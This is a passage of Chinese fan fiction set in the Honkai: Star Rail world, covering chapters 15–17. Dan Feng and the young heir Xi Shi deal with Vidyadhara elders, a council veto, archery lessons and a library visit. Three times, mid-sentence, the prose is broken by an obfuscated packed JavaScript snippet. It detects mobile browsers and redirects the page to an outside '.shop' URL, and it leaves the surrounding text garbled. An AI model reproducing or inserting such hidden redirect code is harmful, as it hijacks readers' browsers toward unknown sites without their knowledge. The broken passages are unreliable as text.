持明族以强为尊,龙尊的亲信当然也不少,三千年多来,两者形成微妙的制衡,总的来说还是龙尊至上。 凡是权力,难免滋生欲望。日积月累的矛盾下,有人开始想凌驾龙尊之上,还有人要直接废了龙尊…… 不过,出于龙尊传承和建木封印的特殊性,龙师内部也是分歧严重,这种夙愿几乎无法得逞。 汐识正在快乐进食,丹枫说明天临渊府有场列席大会让她同去。 她咽下一块脆嫩鲜甜的缘虾仁,喝下半杯温水才把调料里的辛味稀释掉,朝丹枫问道:“投票,让我去吗?” 丹枫反问:“不自信?” 汐识突然觉得他还是不说话的时候比较酷,都已经是龙尊了,一说话就总爱挑衅她这个被忽视的第二继承人,没点尊老爱幼的高尚品格。 “咳,我的意思是,我这么大个少主大人,就按一票算?” 丹枫迟疑甚久,最后认真说:“很遗憾,我这么大个龙尊,也只有一票。” 15. 第15章 一票否决权。 汐识觉得丹枫投出的一票很是晃眼。 辰正时分来到临渊府,和龙师打了个照面,大家虽有隔阂却扶额相礼,心照不宣地走到议事厅。 丹枫桌前平搁的卷轴蓝光一闪,占了半面墙的巨大电子屏一灭一亮,刷新出醒目的数字比分,象征着打破五十比五十的微妙平衡。 原本龙师间达成平票,汐识想看看丹枫会做出什么选择,便直接弃权。 只剩下两位主子没有表态,汐识一改万众瞩目的作风,骤然当起观众的行动出乎在场众人的意料。 丹枫此刻心情颇好,没有板着脸蹙眉,而是慢悠悠地投下决策的关键一票。 一票否决了与星际和平公司的药品包装合作计划。 此前,龙师涛然负责持明族的礼仪接待,公司代表来访,其言会给出足够效率的生产线和更多的经济效益。 其余几位负责族内经贸的龙师认为,若让公司的人代替工造司的瓷制药瓶,定然能为持明族带来不菲的利益。 但明宴按下不动,要求召开列席会议。 正因如此,汐识弃权还有一个更重要的原因:药品事关生命存续,她没有办法轻易给出自己的一票。 丹枫久经世事,汐识凭本能选择相信他这次的决定。 “丹药素来以瓷瓶盛放,成本虽高却不可轻易更换。” “工造司的瓷瓶防光绝尘,其中的药品不易变性。倘若病人遇到无力服药的意外,尤其是心肌类丹药,打碎瓷瓶亦是最有效的自救或他救方式。” “我等持明与工造司合作,因丹鼎司提供各类药品支持而共赢获利。但在此之前,请诸位不要忘记一点——” “药物是用来救命的。” 他的发言并不冗长,却是面面俱到。 “龙尊大人说的是,从来收益讲究开源节流,但可不是公司这么个节法。”龙师在喧嚣中沉默良久,最后风浣面上泛着欣慰的红光,带头说支持丹枫的决策。 见状,其他龙师也颇有韵律地点点头,仿佛丹枫终于做了一件得到他们认可的事情。 丹枫环顾众龙师,一转冷峻地板着脸,继续道:“还有一件事需要决议,关于各位长老联名上书的请愿,持明族入学宫是否应加试武艺训练……” 汐识昨天没睡好,半阖着眼睛,漫不经心地地扫视人群,恍惚间听到丹枫的声音故意拔高得很大,又懒懒打了个哈欠。 旁边的明宴满脸关照,递给她一杯温水和几块波月薄荷糖。 汐识剥开糖纸,在波谲云诡的早上终于感觉到一丝治愈心灵的甜意。 “我意已决,此事不容再议。”没走流程,丹枫直接使用了一票否决权。 “此外,罗浮失踪案数日未破,持明上下人心惶惶,尚有几人仍找不到下落。尔等忝居高位,皆有罪过,不可不罚。” 丹枫眼中冷意明灭,环顾一周,见到龙师们局促不安的状态时却笑了笑。 哪怕再与丹枫因为化龙秘法的重视程度政见相左,事关持明族人,失踪的还有曾照拂过他们的护珠人,不能不认罪。 涛然叹口气,长眉紧皱起成川型,对此事的过失供认不讳:“族人无故失踪,我等至今未能寻回,确有失责之过,自当请罚。” 涛然起了头,雪浦摸着下巴沉思,韶英扫视二人后也开口请罚。 “雲光受命看护鳞渊境,手下的护珠人本应管理好持明所在洞天,如此失职,一并请罪。” 余下的龙师们紧跟其后表态。 无可否认的是,丹枫不在的这一年里,不仅建木出了乱子,本就死一个少一个的族人还无故失踪了,至今下落不明。 但,也不止是持明族人,消失的还有仙舟人、狐人甚至是化外民。 此事非同小可,不然腾骁将军也不会让镜流去巡视玉界门所在的星槎海中枢。 玉界门,那可是罗浮仙舟的入口。 * 饮月府,午后。 “我们的一票怎么不一样?” 练武室门外传来一道询问声,空灵清脆的声音并未消散嗓音里的稚糯。 丹枫定睛一看,果然是他小祖宗来了。 汐识迎着晌午的日光,暖白发呈现点点蓝闪的光芒,就像波月古海升起的太阳一样耀眼。 她走到寒铁架前,架上摆着几十种武器,百无聊赖地对着各类武器东瞧瞧西看看。 丹枫放下手中挥舞了半个时辰的长枪,满目清冷,他拿起一把工造司匠人铸造的反曲弓,对准几十米远的标靶红心,引而不发,不知在等什么。 府内演武室面积有限,真要练习弓箭,远不如去永狩原洞天和云骑军中的演武场。 想到汐小识的质问,丹枫面色一正:“等你成为龙尊了就一样了。” “哦。” 汐识给出一个看起来不开心的表情。 按持明族寿数算,起码得有个两百年吧。 “你还真是敢想。” 丹枫手中放箭的动作停了一下,目光有些失神。 他闭上双眼,尽量忽视龙心因她的不悦所引发的动静。 汐识可绝非正统继承人。 听罢他所感,汐识注视着丹枫,懒得自己找事做,跟他一样挑了把弓和一壶箭支。 是适合她这个身高的小型弓。 汐识站直身子,左手定住弓身,右手拇指和食指发力扣住猿筋制成的坚韧弓弦,左臂配合下伸直腰身用力,可惜重心不稳,趔趄了一下。 “放轻松,手臂别抖,下盘要稳,双肩自然下沉。” “嗯,这是云骑教习师父的说法。想象一下你坐在水牢上斜视步离人时的感觉,全身重力给予呼吸的源头,慢慢来,练武非朝夕之功。” 再次找准感觉站稳,汐识收起了原先懒散随意的表情,左臂伸直,缓缓将弓张开至下颌。 汐蓝色的眼眸泠然一厉,她手上力道微沉,弓弦逐渐被拉到右耳耳廓附近,快要成满弓之势。 箭矢的朝向,是摆了一长排的正红色标靶。 “下周黉学考试之后,你便要升入学宫。持明族在学宫结业考核里新加了武艺测试,于退役云骑和护珠人的手中取胜,便是合格。” “学宫短短几载,其中佼佼者几乎都会前往六御任职。仙舟六御,能者居之。你已去过地衡司和工造司,可有什么想法?” 丹枫睁开眼睛,将箭镞对准至标靶,是中心的中心。 他视线的余光围着汐识转了一圈,嘴角扬起一个细微的弧度,彰显他对自己教导有方的认可。 汐识面容平静,动作依然引而不发,反问他道:“……我应该有什么想法吗?” “弓术入门,讲究有的放矢。小识,你今后的目标是什么?” 丹枫说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318911|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比平日慢了几分,问话的声音却十分坚定。 海蓝色的眸底有闪动的白光,似星光明灭,汐识流露出一丝不解的神色,到嘴边的话语一滞。 很快,她握紧弓弦,将看似不安的情绪掩饰了过去。 “哦,我想当持明龙尊。” 她知道自己不能当个一事无成的普通人。 普通安定的日子跟她的身份显然不匹配,这在族内属于自取灭亡。 那天在古海遇到的蜃影偶尔会被她想起。 汐识知道,持明族有人看不惯她的存在。 要活下去,就追求些什么,那就冲着仙舟最权威的六御去便是了。 不过,六御六御,才见了两个,谈什么目标? 丹枫没注意到她一闪而过的不自在,听到她的话后,目光有些怔然。 很好,是来篡他的位的。 听明宴说,她蜕生的一年内,龙师们整日给她诵说下任龙尊非她莫属,她会带领持明族人走向属于不朽的光明未来,也难怪她会说出这样的心愿。 可,什么是不朽? 龙祖陨落后,不朽的龙裔对此疑问甚多。 他可以预见,又有一人戴上不朽的枷锁,一如万世不改的饮月君,世世代代囿于历代饮月的影子。 “为什么?” “因为想使用一票否决权。” “没有别的原因了吗?” “有。” “……嗯?” 汐识没有立刻回答他,沉心静气,缓缓将弓张开。 “咻——”的一声,箭头以迅疾之势瞬间破空,正中靶心。 是中心标靶的中心。 弓弦反震的力道微麻了下手掌,但在持明的肌肉力量前不值一提。 她以箭作答:“听说龙尊的梦长达九万夜,我正好想做一个不一样的梦境。” 一晚上没睡好,因为闭上眼就是雨别、古海和无尽汐。他仨就跟夺人心神的岁阳一样,缠着人不放,让汐识睡不好觉。 不是因为小孩子想要关注,也不是因为跟丹枫置气,更不是因为所谓的一票否决权。 丹枫愣了一下,紧抿双唇,同样将箭射了出去,和她的箭矢整齐排落在同一个红心处。 雨别和她的关系不宜暴露,最终,他什么都没说,只是点点头,默许了汐识的理由。 哪怕他知道汐识的定位是实验品和力量的容器,但龙师并不知晓。 除开腾骁对汐识的袒护,丹枫也有意利用她的身份去把控龙师的心思。 “昨晚你去鳞渊境玩的时候,公孙工正来了府上,说墨攻司砧送来玉符,专门送给你的。” 丹枫语气平淡,递给她一枚白玉牌,正面绘有工造司军器、船舶、机巧、格物四个监造部门的印章,反面刻着“心眼游刃,格物奇巧”。 汐识目光微怔,左看右看,说不出个什么事。 “不对,我的巡镝呢?” 丹枫:“嗯?” 汐识自言自语:“算了,还是去鳞渊境挖宝藏吧。” 来不及询问一二,小持明就溜出了门,丹枫叫住巡逻的侍卫,“你们跟着她,务必要保护她的安全。” 众侍卫:“是!” 丹枫目送他们离去,垂眸不语,良久才叹了一声气。 “……” “工造司也好,她应该能活得长一些。” 16. 第16章 汐识不在的这个下午,丹枫也觉十分漫长。 “报,丹枫大人。少主大人目前已抵达东一区海域,她,她又把寄居蟹从海螺屋里赶出去然后自己在里面玩了……” 听出护珠人话语中的忐忑,丹枫没有动弹。 这已经是来的第三个护珠人了。 半晌,他合上批阅完成的公文,信手撂在最后一沓文牍上。 丹枫抬头,瞧了眼来搬救兵的鳞渊境卫士,冷声问:“雲光呢,为什么不阻止她?” 前来的青年苦笑一声。 “回大人的话,少主大人留下一队护卫来阻止我等,即便没有,我等也万不敢对少主大人出手。” “至于雲光长老,他劝导少主大人莫要惊扰寄居蟹群,说前些年有人放生来自塔拉萨的蓝藻球,潜渊阁的龙师担忧外来物种会扰乱古海的轮回效率,才专门请丹鼎司和地衡司研制应对措施。这些蟹群就是专门是用来做生物防治的,以海岸藻类为食,不能吃,也经不住玩。” “可少主大人说,它们被养得无精打采的,需要有人跟它们玩才能锻炼出自主觅食的八条腿。无论我们如何解释,少主大人皆不理睬。” 事实上,除话疗外,雲光长老也试过用物理方式阻止她,但追不上小少主,还不让他们跟丹枫说。 见青年不再说话,丹枫单手按了按眉心。 他面不改色,盯着窗外的夕阳好一会儿才应声:“你先回去,跟雲光说撤回找她的护珠人,我稍后会去趟鳞渊境带她回来。” 这孩子才蜕生第六天,就要成为波月古海小霸王了。 听罢,护珠人颇为解脱地看了丹枫一眼,走出门外时,目光甚至带着几分遗憾。 少主大人一走,又不能上班摸鱼了。 * 夕阳悠然降落,千风摇曳,靛蓝的海浪敲击在礁石上,声音如玉清脆。 远远望去,波月古海一片静谧。 太阳降落的西海岸,细腻的沙滩上有一个不足两米高的海螺屋,由用来吸附蓝藻球的特制材料砌筑而成,旁边还有用以供寄居蟹攀附几丛珊瑚礁。 一位长着尖耳朵的青衣男子行色匆匆。 飞逃的海浪于石滩上撞出水洼,弄脏干净的衣摆,而他全然不觉,只是在望及黑压压的蟹群奔逃场面时,神色犹疑,似乎一步也不敢朝前迈。 寄居蟹背着自己沉重的壳,目光坚定地滚去百米外的礁石上晒太阳,它们原本华丽的海螺屋却遭到人类的无情占据。 还有几个挂在珊瑚礁上的螃蟹懒得动。 此前汐识用云吟术清理海螺屋,但也没能成功劝离它们。 青衣男子往前走了没两步,忽然停了下来。 “少主大人?” 一道熟悉的低哑声音自屋外响起。 汐识不情不愿地睁开惺忪的双眼,从没有人打扰的小房子里探出头来。 “有事?” 顾不上多想,她清冽的目光击落对方的迟疑,脸上还维持着一贯的淡然。 “……”面对少主大人的质问,溯光感到头皮发麻,显然,他来的不是时候。 话已出口,现在必须圆过去。 “方才听护珠人说,有一只方壶仙舟送来的壶鲸鱼鳍折断、血流不止,雲光说是误受护珠人练习时的星槎火炮攻击,让我带丹鼎司的人尽快救治。只是,我等来了却发现那鲸活蹦乱跳的,于是无功而归。” 壶鲸,来自方壶仙舟的方寸烟海,因形貌特征也被称为‘黑白茄子’。 “临渊府公务繁忙,我难得出来散散心,一时兴起,决定跟上壶鲸来看看情况。” “哦,那你还挺有闲情逸致的。”汐识打了个哈欠,收回了打量他的眸光,回头继续睡觉,“现在你看完了,可以回去了吧?” 原本是想要使唤寄居蟹给她挖宝藏的,但那些家伙太懒了,水藻都是被古海送到嘴边才吃一口的,已经在退化的边缘了。 她话音刚落,沉沉的睡意袭来,往里一倒就没了人影儿。 溯光忽感惆怅。 这话说的,似乎他的存在十分多余。 “少主大人乃天选之人,溯光斗胆一问,这事是大人出手相助的吗?” 海螺屋里传来一道懒洋洋的闷声:“是。” “您无师自通的?” “不是。” “那,是丹枫大人教的?” “也不是。” 在寻找宝藏大作战的路上,汐识成功四次躲避旅途中的阻挠者,往远处有彩虹的地方飞奔而去。 却看见一个黑白茄子带着伤搁浅在沙滩上。 壶鲸奄奄一息中通过水孔呼吸,在高处架起彩虹,引得汐识前来。 没有宝藏。 它口中衔着一枚示迹玉扣,里面是丹鼎司丹士长指导护珠人救助海洋生物的记录影像。 简单说就是,她被忽悠过来,花了一刻钟现学的止血愈合的云吟术。 溯光:“……” 不管谁教的,这天赋实在让人匪夷所思。 毕竟是雨别选定的第二继承人,龙尊是最接近不朽的存在,理当高人一等。 恍惚之间,他看到了一片光明的未来。 很快,溯光的注意力回到了看似空无一人的海螺屋上,不时朝它微微点头。 “进可锋芒毕露,退可济世救命,实乃我一族尊长之风范。今日,溯光领教了。” “少主大人身份尊贵,天赋卓绝,前途真是无可限量。然,罗浮持明身负守望建木之重任,持明族人口远非昔年昌盛,云吟术师千里挑一,族内丹医急缺,此诚危急存亡之世也。” “前有龙尊大人耽于云骑战事,溯光能否请求少主大人对丹鼎司多加上心 ,勿要如丹枫大人一样枉顾自己与族人的生死安危哪……” 对着一个不会说话的房子,溯光刚开口时心中还有点犹豫,但他也想不出此时汐识是什么表情,便干脆把能说的话一股脑儿全说出来。 “所以,你的想法是让我去丹鼎司?” 汐识只是开口问,丝毫没有要出来的意思。 溯光,那个在临渊府总是拉偏架的老好人,三句不离守护建木的大任。 他似乎察觉到了什么,心头一紧,连忙正了正脸色,接着露出一个温和的笑容,回她:“若少主大人垂怜,亦可权掌一司。” 沉默了良久,持明族的希望终于再度现身。 “那云华呢?” “她原本避世在外,想来她也愿意再度归隐。” 面对龙师的投诚,汐识露出了些许不解的神色,“持明族寿数终有尽头,我掌握丹鼎司,那我哥过几百年后化卵了,谁来当持明龙尊呢?” 汐识坐在锃亮的壳底,语气依然平静。 持明奉行族内自治,仙舟六御的领导人按理说是不能插手持明族政事的。 过了好一会儿,溯光单膝接地,拜向她所在的位置,目光郑重,缓缓开了口:“少主大人放心,族内之事,自然有我等为您效劳。” 汐识:“……” 真的是为我效劳吗? 乍一听是那么一回事,仔细一听却经不住推敲。 “这样啊,既然你对我忠心耿耿,想必一定愿意为我分担重任。” 话语中的威压从四面八方而起,最终聚集到溯光身上。 溯光没有回答,汐识却笑了笑。 从前她看不到这些大人们的面容,抬头也只能捕捉到他们嘴角各异的弧度。现在,他们为她提出一个相当有前途的未来,甚至甘愿自降身份向她臣服。 当初,他们也是这样称呼她为持明族的未来。 可丹枫出现后,她就被忽视了。 持明族以强为尊不假,但,非要用自己的能力和让步,才能换得他人的尊重与追随吗? 以前在波月古海里的时候,并不是这样的。 汐识转了转眼睛,表情不冷不热,直言道:“昨日我不小心打碎了临渊府的几百片琉璃瓦,心中愧疚万分,不如,你现在就去帮瓦匠的忙,替我减轻些愧疚吧。” 溯光沉默许久,眼中似乎有些挣扎。 “少主大人的命令不可不从,奈何我耽于洞天工程设计多年,怕是手脚生疏,恐误了——” 他推脱的说辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318912|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被打断。 “我看这事十分简单,你便去吧。” 一道清冷的声音自后方传来,溯光站起身,侧目望去。 丹枫缓步走近,投过来的眼色愈发冷峻。 溯光脸上一沉。 见他目光颤巍不定,丹枫抱着手斜觑他一眼,不疾不徐地说:“你自己觉得呢?” “……龙尊大人说的是,不敢有违。” 说完,青衣男子垂眸,自请离去。 等碍事的人走后,丹枫放软了目光,朝看起来神色微怔的汐识望去。 汐识回神,问丹枫:“你怎么来了?” 丹枫指了指不远处护珠人在的星槎,迈步靠近汐识,在她身边坐了下来。 “我再不来,你就要成为鳞渊境海见愁了。” 汐识:“哦。” 丹枫:“这些迂腐的龙师,平时满口责任大义,自命清高,到头来尽是些贪生怕死之徒。” “丹鼎司的现任司鼎,云华,是我一手提拔上来的。昔日她行医四处、避世于外,只求天下再无伤痛,虽非我亲信,但我与她并无利害冲突。” 汐识眼中清明,开口询问:“那前任司鼎呢?” “他已被就地正法。” “为什么?” “因为,我上一世的龙狂。” 丹枫半阖着湖面般沉寂的双眼,不知在想些什么。 汐识视线在丹枫与海上夕阳中打转,试探着问:“上一世的你杀了他?” 丹枫轻笑一声,“不,是他想杀了上一世的我。” “……把供奉的神明拉下神坛,褫夺他的龙鳞,然后当成通往不朽的原材料达成某些不可告人的肮脏交易。” “所以,我把丹鼎司司鼎换成了云华,下一任的人选也在物色。” 话音未落,眼前出现一道小小的影子。 汐识伸出右手,手心搭在那人如墨的发顶上,似乎是在安慰他。 丹枫刚要说自己没事,她就收回了手,转而递给他一枚示迹玉扣,“诺,小鲸鱼送的,我觉得无聊就多看了一会儿……” “你在治疗族人和小动物的时候,总是很沉默,或许也不是你,是你的前世。” 汐识又问,龙狂是怎么个事。 丹枫握紧手中的环形玉扣,看向一望无际的古海,解释说是不朽力量使用过度的副作用。 “一旦陷入龙狂,龙尊便会陷入一场如岁阳夺舍人类的长梦,梦醒前只知道用蛮横的神力杀戮众生。” “听起来,梦太多了也不是什么好的事情。” 汐识回头坐下,遥望绚丽的霞色,久久不出一声。 “你,很想拥有别的梦吗?”丹枫发出无可奈何的轻叹。 她扬着头,举目皆空,眼巴巴地望着波月古海上的夕阳,似要与夕阳安眠的梦境合二为一。 末了,汐识歪头靠在屋门上,给出沉闷的一问:“你能不能跟我讲讲,当持明龙尊是一种什么样的感觉?” 丹枫张开紧握的右手,掌心里是示迹玉扣里的他。 那时他才两百岁,有人想要夺取建木,是他指挥垂虹卫上阵杀敌,化龙唤风雷雨电,居高临下俯瞰着渺小的人影儿在造翼者的羽箭下失去生机。 他闭上眼,不忍直视。 等到将罪人擒拿殆尽,才从高天回到大地上,为幸存的族人疗伤。 “和常人也没什么区别,只是多了一份承担族人希望的责任罢了。” “龙尊蜕生时也要受族人保护,为守望更多的生命去肩负起一族尊长之责,继承一个既定的使命,不论每一世的时光多么漫长都无所谓。” 听起来很无趣,汐识一边跟着他走回家,一边分心去追螃蟹玩。 “我们的生命与普通族人并无不同,但既然上天给予不一样的力量,只有你能承担起这份力量背后的期望,那就应该去做,对吧?” 汐识愣了下,点点头。 她蹦蹦跳跳的,趁他不注意抱起一只落单的小海獭,转瞬跑没了影儿。 丹枫无奈摇摇头,看着亘古常存的波月古海,喃喃自语:“这是正确的吗?” 17. 第17章 成为持明少主的第七天。 丹枫站在楼台上,背靠栏杆,等了又等,东阁二楼的房门依然纹丝不动。 若不是确定能听到汐小识的呼吸声,他都要怀疑是不是有人半夜把她抓走了。 昨夜听侍卫说,汐识溜去了练武室,待到亥末才离去。 欲速则不达,现在应该是累着了。 春日阳光明媚,微风柔和,照进窗棂的是软而暖的浅金色光束,屋内的空气被清晨的日光渲染得多了几分暖意。 白发的小持明悠悠醒来,伸手抓了下耀眼的光芒,只觉时光骤然变得如同晴空的云朵般轻快起来。 为了能够睡个没有梦的好觉,昨日的她决定把自己累倒在练武室。 按照丹枫对她学武的安排,蹲马步站桩半个小时,随后挑了把拿得动的云骑短剑,挥剑斩击三千次、并步刺剑三千次,完全是往她这个年龄的极限练。 汗水具有催眠的功能。 汐识好像发现了什么了不得的事情。 可这一觉,睡的着实太累。 忽然想起一件重要的事,梳洗完毕后,她放轻脚步向屋外走去,甫一推开门,不料门外竟站着一个高大的身影。 “早上好,丹小枫。” “早上好,汐小识。” 丹枫看见汐识也是神色微怔,半只手还悬停在半空。 听到她的称呼,丹枫面上写满了清冷之意,垂手给了她一个脑瓜蹦,淡声道:“汐小识,注意你说话的身份。” “好的哥哥,没问题兄长大人。”汐识眨了眨眼。 丹枫:“……先吃饭吧。” 不知怎么,汐识今天吃饭时总是心不在焉,整个人看起来懒洋洋的。 丹枫问了一声,汐识解释说自己睡不好觉。 “等会儿我出去处理些事情,今日,你去潜渊阁吧。” “云华和一众丹士医士去了方壶仙舟参与医学研讨,你这病症稀奇,余下的普通医士怕是也看不明白,不如去潜渊阁问问几位长老有没有解决的法子。” “对了,正午前别乱跑。此番回罗浮,腾骁将军特地在长乐天设了接风宴,你与我同去。” 他说得不紧不慢,仿佛汐识真的只是他带去蹭饭的无关人员。 汐识果断摇摇头,“不去。” 腾骁,就是那个手底下的侍卫长把她这个少主大人拎了一路的云骑将军。 偏偏她不能承认自己的挫败。 汐识余光瞟了一眼垂肩散着的长白发,绽放出久违的笑容,面上颇有顾虑道:“我还没学会怎么编头发,万一吃饭的时候它掉进饭碗里就不好了,会抹黑你我的光辉形象。” 回答她的是丹枫不容拒绝的动手能力。 丹枫一边背离龙心强调的龙神之高贵,一边面色冷漠地跟她回到阁房,先是让她坐在镜子前别动,然后开始给她编麻花辫子。 一刻钟后,汐识对着镜子里呆愣得不行的小傻瓜,尽力让眉眼间的震惊消散。 “这啥?” 她眯眼抬首,相当不满地看向伫立背后的墨发男子,指着两个不规则的大麻花,一脸石化的僵住模样。 丹枫神色古怪,轻咳一声后回她:“经典永不过时。” “……呵,全靠你祖宗我的脸撑着。”盯着镜子里两个扭曲的大麻花辫子,汐识气不打一处来。 她冷哼一声,毫不客气地把丹枫推出阁门外,请他吃了个闭门羹。 当然,为了让她没有理由搪塞饭局,丹枫特地派了位侍女到东阁,说是负责照顾她起居。 再度推开二楼的木门,与此同时,一个侍女模样的大姐姐出现在汐识面前并朝她微笑。 “少主大人安好,我是渊静,专门负责您的日常起居。” 渊静放下给花草浇水的琉璃水壶,站姿端庄优雅,绿裙轻盈若仙,腰身像长乐天小池塘里的荷叶杆般挺立。 往前迈了两步,汐识一手搭在栏杆上,望着丹枫离去的身影发了会儿呆。 看似不经意间,她幽幽地瞥了眼楼下驻守的卫士,随后伸了个懒腰,半阖着的眼皮往上抬起,眼神也清醒起来。 她朝渊静道:“哦,是丹枫让你来的吧。” 渊静点点头,脸上依然是找不出任何错漏的职业微笑。 “少主大人这边坐。” 面对镜子坐下,她心灵手巧地帮小少主挽了个双边新式垂挂髻。 两缕侧发编成麻花发圈用红珠发带挽起,没被挽起来的头发则随发带顺成两股垂下,事毕,她问汐识需不需要再调整。 汐识摇摇头,少见的甜甜一笑,在侍女恍惚错愕的神情中信步前往后院的莲花池。 去之前,她又从后厨拿了几颗海胆,往冒出头的小海獭扔过去。 在护珠人找到它的家人前,这家伙只能呆在饮月府里接受无趣的投喂生活了。 * 持明洞天,潜渊阁。 自潜渊阁出入的人面带儒雅,言谈多为轻声絮语,一看就是读过不少书的人。 阁内藏书浩如烟海,每层阁房均设八处,共计六十四分类。 五楼的仙舟历史区,汐识挑了一处适合靠窗发呆的阅读小圆桌,一小时就看了一章《上国梦华录》。 如何解决少主大人睡不好的问题,潜渊阁的龙师没有任何头绪。 这书是一位仙舟的历史学家所著,是对仙舟神降时代的追忆,讲的是三劫之前的仙舟远航时代和求得建木的长生历史。 她看的是序章,记载建木生发后仙舟人得到无尽形寿,利用建木炼制仙丹达到永恒无敌的自在身,还能点化金石使玉兆出现,玉兆篆刻的算术纹路甚至可推演万古之事。 作为不朽的子裔,汐识当然更想看关于龙祖的远古传说。 潜渊阁的记载仅有龙尊重历龙祖往事的梦境记录,相关文件卷帙浩繁。 可惜的是,龙尊的梦境支离破碎,难以用寻常语言文字去解析。 汐识翻了几页,太过碎片化的梦境说不出有什么能看的。 不朽龙祖陨落,寰宇中群星明灭,洞天内四季轮转,拂过她脸庞的微风去不复返,龙尊也要经历蜕生,蜕生的她没有任何关于前世的记忆…… 谁能告诉她,这又算是哪门子不朽? 不朽的孩子对不朽发出了疑问。 思考一刻钟无果,汐识收回神游物外的心绪。 还有不到一个小时,丹小枫就要来了。 丹枫担心她跑到别的地方去,让卿遇长老看住她。 龙师哪里敢对她不敬,只能用点潜渊阁消磨时间的法子,让汐识写读书笔记交给他和丹枫。 汐识将刚办理的借阅卡塞入自助取用纸笔机器,然后下楼挑了一本《读书笔记大全》,回来后开始抄书大业。 上国梦华录是仙舟人的必备读物,但她总不能跟长老说,她第一次来这里看书就对仙舟以前草木皆可成精的丰饶时代感兴趣吧? 十王押不押送她不知道,身为封印建木的少主大人万万不能歪了立场。 约莫半小时,有关仙舟与持明会盟结谊的读书笔记成功敷衍完成。 汐识把笔记交给卿遇长老,结果对方拉着逸书长老一道拈须微笑来烦她,呃,来给她提问题。 “少主大人夜间难眠,可曾梦到什么有关龙祖的事情?” 我才七天大,你们一定要问我吗? 可我只有一个梦。 汐识摸了摸鼻子,开始忽悠道: “有的有的。我梦到从前有一颗遥远的星球,星球上有一方无尽的古海,古海里有两条龙,一只大龙在给小龙讲故事,讲的故事是,是,先有龙还是先有蛋!” 她煞有介事地说着。 却见两位长老从舒心微笑到猛然抬头,仿佛听见了什么震撼的事情,颤着声音问她:“然,然后呢?” 现编也编不出来,汐识只得推辞说梦醒后记不得了,反正一闭眼就睡不好。 然后她得到了清静。 两位长老甚是欣慰,对她和颜悦色,很快就笑呵呵地去研究是先有持明卵还是先有龙的起源问题。 丹枫来的时候,汐识耷拉着脑袋就要昏睡在知识的海洋。 她肩前玉坠和桌子碰撞,发出泠泠如泉的声响。 丹枫向前迈了一步,接住小祖宗快要磕到桌上的脑袋瓜,趁她清醒的须臾片刻,端详起那枚写着‘汐、别’二字的玉坠。 通体无暇的玉坠,皓月捧在中央的水滴仿若一滴凝固的泪水,色同无尽汐的浅蓝,流光溢彩,别致无二…… 此非仙舟的玉兆,在第一天见到汐识时丹枫就检查过它的质地。 倏地回神,汐识似乎有些不明所以,伸手对着忽然出现的鹤纹青袖里的修长大手拍了下,见它顿了一下后抽回,才确信是真的丹枫来了。 她抬头,看着两个时辰不见就变得冷若寒霜的龙尊哥哥,心道龙师真是个标准的表情管理大师,能把人教的都以板着脸的状态去谈话。 昨日,丹枫罚龙师集体去铺月长石砖修路,下令说为防止族人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318913|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在持明境内失踪,洞天内绝不可任何巡防疏漏。 丹枫一大早就去给龙师添堵了。 汐识轻咳一声,往后挪了半步,假装什么也没有发生,朝他说道:“哥哥,你可算来了。” 丹枫嗯了一声,不再保持探究的目光。 有时候不该对她太好,他祖宗会怀疑真假。 “你怎么又睡着了?” “哥哥,你说是先有持明卵还是先有龙?” “嗯?我想想,持明卵是真龙孵化的状态,在繁育撕裂不朽的命途前,龙族应有繁衍的能力……” “有没有很想要阖上眼,最好再来点阳光和软被?” 盯着思考了好一会的丹枫,见他眼中有纠结,汐识这才解释道:“这就对了,我就是这么把自己思考累的。” 感同身受,远比讲述一个事实更让人信服。 汐识听见他又嗯了一声,等了等,没见丹枫问她要读书笔记,只听见丹枫要她同去长乐天。 * 从潜渊阁出来,渡船越过卫士们守护的金色屏障,便到了丹鼎司洞天。 此刻,洞天内药香弥漫,有的高阁檐下晒着成串朱明枸杞和曜青莲子。丹鼎司群医聚集,中药商人熙来攘往,楼上的医士和丹士在岐黄署研攻医学丹术。 “咱星槎呢?” 汐识站在停泊点的四方览镜前,上面标注着实时的星槎坐标点。 坐标是在这里没错,但星槎却不见了踪影。 她看了眼无动于衷的丹枫,刚要拿出玉兆预约下趟星槎去长乐天,忽然眼前一暗,日光被高空忽现的黑影遮蔽。 汐识颇为不解地抬头望去,是一艘星槎,看尾部编号是他们预约的那艘。 不知以他这个身高瞧见了什么,反正汐识只看到好大一个星槎底座,而丹枫皱起眉心,一把长枪掷出了过去。 眨眼的工夫,空中掉下来一个长着金色树枝的怪家伙,能闻到他身上隐隐有些药香。 魔阴身,与她看过的云骑武经里记载的样子一致。 